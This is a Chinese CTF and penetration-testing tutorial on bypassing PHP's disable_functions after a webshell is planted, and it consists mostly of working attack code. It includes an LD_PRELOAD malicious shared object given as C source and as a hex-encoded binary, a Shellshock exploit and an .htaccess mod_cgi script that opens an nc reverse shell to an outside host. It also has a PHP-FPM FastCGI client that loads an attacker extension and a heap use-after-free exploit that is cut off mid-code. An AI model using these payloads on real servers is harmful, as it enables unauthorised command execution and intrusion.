bypass disable_function多种方法+实例

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作者:ch3ng@星盟

前言

在做CTF题目或者是在渗透的过程中常常会遇到已经拿到了webshell但是却无法执行命令,主要原因是由于常用的函数例如:system()等被禁用

 

LD_PRELOAD

LD_PRELOAD是linux下的一个环境变量,可以影响程序运行时的链接过程,被指定路径的文件会在其它文件被调用点,最先调用

一个测试mail.php

<?php
mail('','','','');
?>

查看其运行时启动的子进程

strace -f php mail.php 2>&1 | grep execve

execve("/usr/bin/php", ["php", "mail.php"], 0x7ffdd5194ee0 /* 23 vars */) = 0
[pid  9707] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], 0x5597ba716e70 /* 23 vars */) = 0
[pid  9708] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x5586f66f9bd0 /* 23 vars */) = 0

查看sendmail使用了哪些函数

readelf -s /usr/sbin/sendmail

这里使用getuid,编写so文件test.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("whoami > /tmp/Ch3ng");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

编译生成

gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so

接着php使用:

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

即可发现/tmp多了个Ch3ng文件

例题:
题目源码:

<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

查看phpinfo(),发现disable_function有很多禁用函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

蚁剑连接上去,将bypass_disablefunc.php与bypass_disablefunc_x64.so上传上去,但是由于这里禁用了mail函数,所以这里使用error_log来触发

最后执行

bypass_disablefunc.php?cmd=/readflag&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so

即可获得flag

或者直接在利用php执行:

file_put_contents('/tmp/1.so',pack('H*','7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000028140000000000000000000040003800060040001c001900010000000500000000000000000000000000000000000000000000000000000004090000000000000409000000000000000020000000000001000000060000000809000000000000080920000000000008092000000000005802000000000000600200000000000000002000000000000200000006000000280900000000000028092000000000002809200000000000c001000000000000c0010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000008408000000000000840800000000000084080000000000001c000000000000001c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000040000001400000003000000474e550066bb9e247f3731670b5cdfd534ac53233e576aef00000000030000000d000000010000000600000088c22001001440090d0000000f000000110000004245d5ecbbe3927cd871581cb98df10eead3ef0e6d1287c2000000000000000000000000000000000000000000000000000000000000000003000900380600000000000000000000000000007d00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000008b00000012000000000000000000000000000000000000009d00000021000000000000000000000000000000000000000100000020000000000000000000000000000000000000009e00000011000000000000000000000000000000000000006100000020000000000000000000000000000000000000009c0000001100000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000840000001200000000000000000000000000000000000000a600000010001600600b2000000000000000000000000000b900000010001700680b2000000000000000000000000000ad00000010001700600b20000000000000000000000000001000000012000900380600000000000000000000000000001600000012000c00600800000000000000000000000000007500000012000b00c0070000000000009d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200000002000200000002000000020000000200020001000100010001000100010001000100920000001000000000000000751a690900000200be00000000000000080920000000000008000000000000009007000000000000180920000000000008000000000000005007000000000000580b2000000000000800000000000000580b200000000000100920000000000001000000120000000000000000000000e80a20000000000006000000030000000000000000000000f00a20000000000006000000060000000000000000000000f80a20000000000006000000070000000000000000000000000b20000000000006000000080000000000000000000000080b200000000000060000000a0000000000000000000000100b200000000000060000000b0000000000000000000000300b20000000000007000000020000000000000000000000380b20000000000007000000040000000000000000000000400b20000000000007000000060000000000000000000000480b200000000000070000000b0000000000000000000000500b200000000000070000000c00000000000000000000004883ec08488b05ad0420004885c07405e8430000004883c408c30000000000000000000000000000ff35ba042000ff25bc0420000f1f4000ff25ba0420006800000000e9e0ffffffff25b20420006801000000e9d0ffffffff25aa0420006802000000e9c0ffffffff25a20420006803000000e9b0ffffffff259a0420006804000000e9a0ffffff488d3d99042000488d0599042000554829f84889e54883f80e7615488b05060420004885c074095dffe0660f1f4400005dc366666666662e0f1f840000000000488d3d59042000488d3552042000554829fe4889e548c1fe034889f048c1e83f4801c648d1fe7418488b05d90320004885c0740c5dffe0660f1f8400000000005dc366666666662e0f1f840000000000803d0904200000752748833daf03200000554889e5740c488b3dea032000e82dffffffe848ffffff5dc605e003200001f3c366666666662e0f1f840000000000488d3d8901200048833f00750be95effffff660f1f440000488b05510320004885c074e9554889e5ffd05de940ffffff554889e54883ec10488d3d9a000000e89cfeffff488945f0c745fc00000000eb4f488b0510032000488b008b55fc4863d248c1e2034801d0488b00488d35740000004889c7e8a6feffff4885c0741d488b05e2022000488b008b55fc4863d248c1e2034801d0488b00c600008345fc01488b05c1022000488b008b55fc4863d248c1e2034801d0488b004885c07592488b45f04889c7e825feffffc9c30000004883ec084883c408c34556494c5f434d444c494e45004c445f5052454c4f414400000000011b033b1800000002000000dcfdffff340000003cffffff5c0000001400000000000000017a5200017810011b0c070890010000240000001c000000a0fdffff60000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000d8feffff9d00000000410e108602430d0602980c0708000000000000000000009007000000000000000000000000000050070000000000000000000000000000010000000000000092000000000000000c0000000000000038060000000000000d000000000000006008000000000000190000000000000008092000000000001b0000000000000010000000000000001a0000000000000018092000000000001c000000000000000800000000000000f5feff6f00000000b801000000000000050000000000000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d6f6e5f73746172745f5f00656e7669726f6e4040474c4942435f322e322e35005f656e64005f5f6273735f7374617274007072656c6f6164005f4a765f5265676973746572436c6173736573005f5f656e7669726f6e4040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e6974007374727374724040474c4942435f322e322e3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000003c00000000000000030000000000000008000000000000000000000000000000380000000b0000000200000000000000f801000000000000f801000000000000c80100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c003000000000000c003000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f02000000000000008a040000000000008a04000000000000260000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b004000000000000b004000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d004000000000000d004000000000000f0000000000000000300000000000000080000000000000018000000000000006e000000040000004200000000000000c005000000000000c0050000000000007800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000380600000000000038060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000006006000000000000600600000000000060000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c0060000000000009d01000000000000000000000000000010000000000000000000000000000000840000000100000006000000000000006008000000000000600800000000000009000000000000000000000000000000040000000000000000000000000000008a00000001000000020000000000000069080000000000006908000000000000180000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000840800000000000084080000000000001c00000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000a008000000000000a0080000000000006400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000080920000000000008090000000000001000000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000180920000000000018090000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000200920000000000020090000000000000800000000000000000000000000000008000000000000000000000000000000c700000006000000030000000000000028092000000000002809000000000000c001000000000000040000000000000008000000000000001000000000000000d0000000010000000300000000000000e80a200000000000e80a0000000000003000000000000000000000000000000008000000000000000800000000000000d5000000010000000300000000000000180b200000000000180b0000000000004000000000000000000000000000000008000000000000000800000000000000de000000010000000300000000000000580b200000000000580b0000000000000800000000000000000000000000000008000000000000000000000000000000e4000000080000000300000000000000600b200000000000600b0000000000000800000000000000000000000000000001000000000000000000000000000000e90000000100000030000000000000000000000000000000600b0000000000002400000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000840b000000000000f200000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000780c00000000000088050000000000001b0000002b0000000800000000000000180000000000000009000000030000000000000000000000000000000000000000120000000000002802000000000000000000000000000001000000000000000000000000000000'));putenv("EVIL_CMDLINE=/readflag > /tmp/flag.txt");putenv("LD_PRELOAD=/tmp/1.so");error_log("",1);readfile('/tmp/flag.txt');

或者利用python脚本上传执行:

import requests

url = "http://f7eb61fe-d260-451c-a9b2-37bd2cd37bcf.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbJ2EnXSk7"

data = {
    "a":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/1.so');putenv('EVIL_CMDLINE=/readflag > /tmp/flag.txt');putenv('LD_PRELOAD=/tmp/1.so');error_log('',1);readfile('/tmp/flag.txt');"
}

file = {'file':open('1.so','rb')}
r = requests.post(url=url,files=file,data=data)
print r.content

 

ShellShock

利用bash破壳漏洞(CVE-2014-6271),该漏洞存在于bash 1.14 – 4.3版本中
https://www.cnblogs.com/qmfsun/p/7591757.html

导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令
利用的PHP代码:

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   error_log('a',1);
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

上传脚本运行得到flag

 

Apache Mod CGI

禁用函数如下:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

比之前多禁用了putenv

这次使用的方法是利用.htaccess,我们通过上传.htaccess来利用apache的mod_cgi来绕过php的限制,这个利用方法在De1CTF checkin出现过
利用条件:

  • 目录下有写权限
  • apache 使用 apache_mod_php
  • Web 目录给了 AllowOverride 权限
  • 启用了mod_cgi

首先上传.htaccess

Options +ExecCGI
AddHandler cgi-script .test

之后上传shell.test

#!/bin/bash
echo&&cat /etc/passwd

然后访问shell.test

也可以直接上传,访问之后反弹shell

<?php
$cmd = "nc -c '/bin/bash' xxx.xx.xx.xx 4444"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

 

PHP-FPM

php-fpm是PHP内置的一种fast-cgi

php-fpm即php-Fastcgi Process Manager.
php-fpm是 FastCGI 的实现,并提供了进程管理的功能。
进程包含 master 进程和 worker 进程两种进程。
master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),
每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。

与php-fpm通信有两种模式,一种为TCP,一种为Unix Socket,这里以TCP为例,构造fastcgi协议与fpm通信, 开启PHP_ADMIN_VALUE来加载恶意的.so

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr> 
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can't multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>


<?php

/************ config ************/

// your extension directory path
$ext_dir_path = '/tmp/';

// your extension name
$ext_name = 'ant.so';

// unix socket path or tcp host
$connect_path = '127.0.0.1';

// tcp connection port (unix socket: -1)
$port = "9000";

// Don't use this exploit file itself
$filepath = '/var/www/html/index.php';

// your php payload location
$prepend_file_path = '/tmp/1.txt';

/********************************/

$req = '/' . basename($filepath);
$uri = $req;
$client = new FCGIClient($connect_path, $port);

// disable open_basedir and open allow_url_include
$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = " . $prepend_file_path;
$php_admin_value = "extension_dir=" . $ext_dir_path . "nextension=" . $ext_name;

$params = array(       
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'GET',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        'PHP_VALUE'         => $php_value,
         'PHP_ADMIN_VALUE'   => $php_admin_value,
        'SERVER_SOFTWARE'   => 'kaibro-fastcgi-rce',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        );

// print_r($_REQUEST);
// print_r($params);

echo "Call: $urinn";
echo $client->request($params, NULL);
?>

 

Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

<?php

# Author: https://github.com/mm0r1

$cmd = $_POST["pass"];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }

        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
